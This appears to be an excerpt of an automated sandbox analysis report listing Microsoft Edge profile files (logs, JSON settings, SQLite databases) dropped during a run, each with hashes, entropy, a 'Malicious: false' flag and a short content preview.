Preview:	2024/10/30-06:45:27.141 1da8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/10/30-06:45:27.142 1da8 Recovering log #3.2024/10/30-06:45:27.142 1da8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.177624230463951
Encrypted:	false
SSDEEP:	6:65DuB3QL+q2PN723oH+Tcwt865IFUt8v5RyQG1Zmw+v5RyQQLVkwON723oH+Tcwx:6JuBgyvVaYeb/WFUt8vy/+vaR5OaYebD
MD5:	6E78B9652337F72978581ED34E800CBC
SHA1:	CD0F94DC0B288D1E5926218B35748884AC5831BF
SHA-256:	ED9288D59DE563C22709D6EB71BB3C879AC14D54A823B560441E1C943FF5D356
SHA-512:	2F0DCA1A3D501755EA7256ACC25FDF58554DA3FAE6F8F23DD86FF0E484FD0D73B1CACB4E634C5CCE068C02EA603ED50DDF93AB50E414F33CD79B81A71208042D
Malicious:	false
Preview:	2024/10/30-06:45:27.141 1da8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/10/30-06:45:27.142 1da8 Recovering log #3.2024/10/30-06:45:27.142 1da8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.134475832920179
Encrypted:	false
SSDEEP:	6:65sq2PN723oH+Tcwt8NIFUt8v5/Zmw+v5tkwON723oH+Tcwt8+eLJ:6KvVaYebpFUt8v1/+vn5OaYebqJ
MD5:	7C8E287A1AAB4BA3B90D03AD8B3D77BE
SHA1:	121CFEC3A799A7A61EAC02440AB4EEBCAA60D1C0
SHA-256:	03FB66B5A17E40D2950BF34D2A116BDD515CB03551693C199A76E666E63314E7
SHA-512:	BC49D61043AFB24FCC2F7FD1C37C91B0A90A17D245FFA3D34503BFB4C95E2A3D169F2399062D8B9BD85AE893DA4F5B7F3E3A1A37B0B13009D76B07D068548EA8
Malicious:	false
Preview:	2024/10/30-06:45:27.909 1da0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/10/30-06:45:27.910 1da0 Recovering log #3.2024/10/30-06:45:27.910 1da0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.134475832920179
Encrypted:	false
SSDEEP:	6:65sq2PN723oH+Tcwt8NIFUt8v5/Zmw+v5tkwON723oH+Tcwt8+eLJ:6KvVaYebpFUt8v1/+vn5OaYebqJ
MD5:	7C8E287A1AAB4BA3B90D03AD8B3D77BE
SHA1:	121CFEC3A799A7A61EAC02440AB4EEBCAA60D1C0
SHA-256:	03FB66B5A17E40D2950BF34D2A116BDD515CB03551693C199A76E666E63314E7
SHA-512:	BC49D61043AFB24FCC2F7FD1C37C91B0A90A17D245FFA3D34503BFB4C95E2A3D169F2399062D8B9BD85AE893DA4F5B7F3E3A1A37B0B13009D76B07D068548EA8
Malicious:	false
Preview:	2024/10/30-06:45:27.909 1da0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/10/30-06:45:27.910 1da0 Recovering log #3.2024/10/30-06:45:27.910 1da0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.2191763562065486
Encrypted:	false
SSDEEP:	3:TjtDllntFlljq7A/mhWJFuQ3yy7IOWURNtnol/dweytllrE9SFcTp4AGbNCV9RUV:FDlG75fO7Ntn4/d0Xi99pEYJY
MD5:	0AE46E7A50FE6A5E45865A1BD2EDA9BC
SHA1:	AA9517F861A9C05B31992FEDA3D65D364D9D86FA
SHA-256:	A0CE514271190E77FAA9C2298F58A5681029F01D0F7E44D8C4FC8D4F4B54DF51
SHA-512:	9759F0D74F70F73A62FEF9E16CF405853335A31E1EE89DD971A9B3DBEFB142A870B5A99333543816F593BBF0AA23D0CCC63E712BC730BC542FC7B3BDEA05D247
Malicious:	false
Preview:	..............O=...&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	3.6478344577863595
Encrypted:	false
SSDEEP:	384:aj9P0hjlGQkQerBP/KbtLcg773pLIRKToaA9gam6Iqhf:adClGe2BP/Ng7WRKcca9
MD5:	C5C2F9739C7F355E42F388454609AAC0
SHA1:	151CDC1AF0105515CA6869B10110D0B17D102818
SHA-256:	A151A6A185187E2AE01B530884576FBF35E55215B91DF2EF4B6C34FB0AA74E60
SHA-512:	A719A85DF47903B719462F8722E2AD1BC078A97A03E6D038D0DF7D543CD3B7DCB8357064371F730F3A4F7B91E613CAD04AD1DB19F01E655C2B5DAA23B1AA262D
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	412
Entropy (8bit):	5.254815188926468
Encrypted:	false
SSDEEP:	12:6XyvVaYeb8rcHEZrELFUt8vL/+vNvR5OaYeb8rcHEZrEZSJ:8YVaYeb8nZrExg8ivDOaYeb8nZrEZe
MD5:	24774DA631D3C503563AC9EFC75B3E00
SHA1:	B83B48FA8425ED66B12CB958CCECC979AD978B05
SHA-256:	94EB9EC8C87C18D3C925B9B98C28015BC1279E5B9BD57499779F65D7C458B4F0
SHA-512:	0C0AEEADE0C6C1C03E032F059C5A8AA3985BC2BF2993E132F9F45266121EAD912D898413B81DEDFDAA0241FA0063B41C221DAEFE447B2A5C6B42B564F1AA7C9C
Malicious:	false
Preview:	2024/10/30-06:45:31.089 1da8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/10/30-06:45:31.089 1da8 Recovering log #3.2024/10/30-06:45:31.090 1da8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	412
Entropy (8bit):	5.254815188926468
Encrypted:	false
SSDEEP:	12:6XyvVaYeb8rcHEZrELFUt8vL/+vNvR5OaYeb8rcHEZrEZSJ:8YVaYeb8nZrExg8ivDOaYeb8nZrEZe
MD5:	24774DA631D3C503563AC9EFC75B3E00
SHA1:	B83B48FA8425ED66B12CB958CCECC979AD978B05
SHA-256:	94EB9EC8C87C18D3C925B9B98C28015BC1279E5B9BD57499779F65D7C458B4F0
SHA-512:	0C0AEEADE0C6C1C03E032F059C5A8AA3985BC2BF2993E132F9F45266121EAD912D898413B81DEDFDAA0241FA0063B41C221DAEFE447B2A5C6B42B564F1AA7C9C
Malicious:	false
Preview:	2024/10/30-06:45:31.089 1da8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/10/30-06:45:31.089 1da8 Recovering log #3.2024/10/30-06:45:31.090 1da8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	5.691122399610639
Encrypted:	false
SSDEEP:	48:gtZlCH1Hv8+XZ1QV03Sx41HHHxda2LoEEEUNiBhV:gtvCpvTzmWRxL6EZ
MD5:	9A7484B1973ABC785699C7B777D8A627
SHA1:	FD64F8CA5F4C35C1D07EC28210F13D91AECA43F3
SHA-256:	9E64F432AA54C1931FBAA8F512FF1C3BF9CDADB6C298C78DC05A8AC0763FA707
SHA-512:	D7177F83BE64687A33073FE8445B703C82E2091B89DCB27C36234237B23934A88860B7AD8EE757A7F395C26B14C2964E4B1F53126B8E8B84B159B282C8A0A2A6
Malicious:	false
Preview:	...C\|................VERSION.1..META:https://ntp.msn.com............._https://ntp.msn.com..FallbackNavigationResult?.{"r":"edgenext-base-v1-empty. NetworkCall","ic":true,"te":629}.!_https://ntp.msn.com..LastKnownPV..1730285139611.-_https://ntp.msn.com..LastVisuallyReadyMarker..1730285141127.._https://ntp.msn.com..MUID!.046B7A813FEA6CE42F656FA93E1B6DA8.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1730285139705,"schedule":[-1,-1,36,-1,-1,24,27],"scheduleFixed":[-1,-1,36,-1,-1,24,27],"simpleSchedule":[12,33,14,13,18,27,21]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1730285139579.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241029.290"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.5_https://ntp.msn.com..ssrBasePageCachingFeatureActive..true.#_htt

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.124009232864792
Encrypted:	false
SSDEEP:	6:65BT/Iq2PN723oH+Tcwt8a2jMGIFUt8v5BNZZmw+v5BckwON723oH+Tcwt8a2jM4:6zT/IvVaYeb8EFUt8vzNZ/+vzc5OaYek
MD5:	B7D76B8E4A1F1CD8D58340A15330110C
SHA1:	DA16435557FDB49D50A65DC4226E3D497876D305
SHA-256:	15D4500368DABFE9524E7FA4C0B4C6319CE0772BB9A3EE9E5BED475C1F1CFC49
SHA-512:	240B69716D45C74983DD5C09FF5B18DB882827FF6D3E1F6814B3C4F07BB592388A5DB2A755A917855FA0D2A7EEC61762D60413CAF0534ABA95133BFE5A224989
Malicious:	false
Preview:	2024/10/30-06:45:27.641 1ce0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/10/30-06:45:27.643 1ce0 Recovering log #3.2024/10/30-06:45:27.646 1ce0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.124009232864792
Encrypted:	false
SSDEEP:	6:65BT/Iq2PN723oH+Tcwt8a2jMGIFUt8v5BNZZmw+v5BckwON723oH+Tcwt8a2jM4:6zT/IvVaYeb8EFUt8vzNZ/+vzc5OaYek
MD5:	B7D76B8E4A1F1CD8D58340A15330110C
SHA1:	DA16435557FDB49D50A65DC4226E3D497876D305
SHA-256:	15D4500368DABFE9524E7FA4C0B4C6319CE0772BB9A3EE9E5BED475C1F1CFC49
SHA-512:	240B69716D45C74983DD5C09FF5B18DB882827FF6D3E1F6814B3C4F07BB592388A5DB2A755A917855FA0D2A7EEC61762D60413CAF0534ABA95133BFE5A224989
Malicious:	false
Preview:	2024/10/30-06:45:27.641 1ce0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/10/30-06:45:27.643 1ce0 Recovering log #3.2024/10/30-06:45:27.646 1ce0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\2ca82c9d-ad29-4d55-97b1-40343b24eaff.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287526653429432
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n+:YcCpWsktsHnfc7CvsfgCgakhYhbj
MD5:	C11A0C2888E9122AF3E0A9532E7CF485
SHA1:	213F8630A4D6B265DB899E1B4FED27EC8F2F1C75
SHA-256:	F08277C5DFC76862C95DA3763626FC4A099530B656C9ED5C42DE6E3079D64B57
SHA-512:	BB02933E6DF73CF073C94460869B99200E08C1B293D476B6F7C76F012B0BF9126A60031A31555CB755DF9C464B16272FEB6B1E0C0528FFAF5BB934F5E87A279E
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\481ff446-66db-424e-9d26-9a31a4557937.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\58981797-5e81-478f-b9c0-268c50044e0b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\6e80825a-daf4-4c20-aadd-aa240d903618.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\913bee0a-0a73-4bed-a023-3800a60495bc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	3.0037631842672714
Encrypted:	false
SSDEEP:	192:tTmvlA/RWAMNvC5VmiLlKCgwQ2TUmUYO0B/zbl0b:VmvlA5hMNa5VmiLlKCqma0B7bl0b
MD5:	E7C83306606C507F4CA8E11E928EED6F
SHA1:	E87FF6E74013856636126243786D5B48E343EFFE
SHA-256:	01AE48F715A86B269E71F96EEC84D2252ADA08D74D9E305A4F675BD2EFB81307
SHA-512:	C8723FC6B290DE4535222900937EB6379860BC9B53B092D41261B7D4F236E9924E8B534D3025A87B006FC60F66C540E6ED4AE5AEEDD323D561A73671A1783ED5
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287526653429432
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n+:YcCpWsktsHnfc7CvsfgCgakhYhbj
MD5:	C11A0C2888E9122AF3E0A9532E7CF485
SHA1:	213F8630A4D6B265DB899E1B4FED27EC8F2F1C75
SHA-256:	F08277C5DFC76862C95DA3763626FC4A099530B656C9ED5C42DE6E3079D64B57
SHA-512:	BB02933E6DF73CF073C94460869B99200E08C1B293D476B6F7C76F012B0BF9126A60031A31555CB755DF9C464B16272FEB6B1E0C0528FFAF5BB934F5E87A279E
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF4ba24.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.287526653429432
Encrypted:	false
SSDEEP:	24:YcCp/WRdstyZVMdmRdsHKyZFRudFGRwC5mWRdspZFGJ/I3w6C1E6maPsQYhbA7n+:YcCpWsktsHnfc7CvsfgCgakhYhbj
MD5:	C11A0C2888E9122AF3E0A9532E7CF485
SHA1:	213F8630A4D6B265DB899E1B4FED27EC8F2F1C75
SHA-256:	F08277C5DFC76862C95DA3763626FC4A099530B656C9ED5C42DE6E3079D64B57
SHA-512:	BB02933E6DF73CF073C94460869B99200E08C1B293D476B6F7C76F012B0BF9126A60031A31555CB755DF9C464B16272FEB6B1E0C0528FFAF5BB934F5E87A279E
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282221456","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552282945526","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343552291816684","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.6345669795352564
Encrypted:	false
SSDEEP:	96:OIEumQv8m1ccnvS62oHi1moIUaOSto7scmy1a:OIEumQv8m1ccnvS6YAoNabtopmx
MD5:	052976E10DA8D05B7460B742D4B607BA
SHA1:	EB78532D1F49B273E82E566ED517F203DB6F2884
SHA-256:	13DDD1202B727F673EF4729F9895A22B044F5C2DA080797B1E6F150D121BCFA3
SHA-512:	9C689D666E0A1B11E4A2D7651392A40B8EE8A636F633448D1FDACBD7F6C0DF10B1D420AE8B02CDFD1BAF3F11B66E450E19BDB1F3B7E2139AC2A2B8CFFFFE1025
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

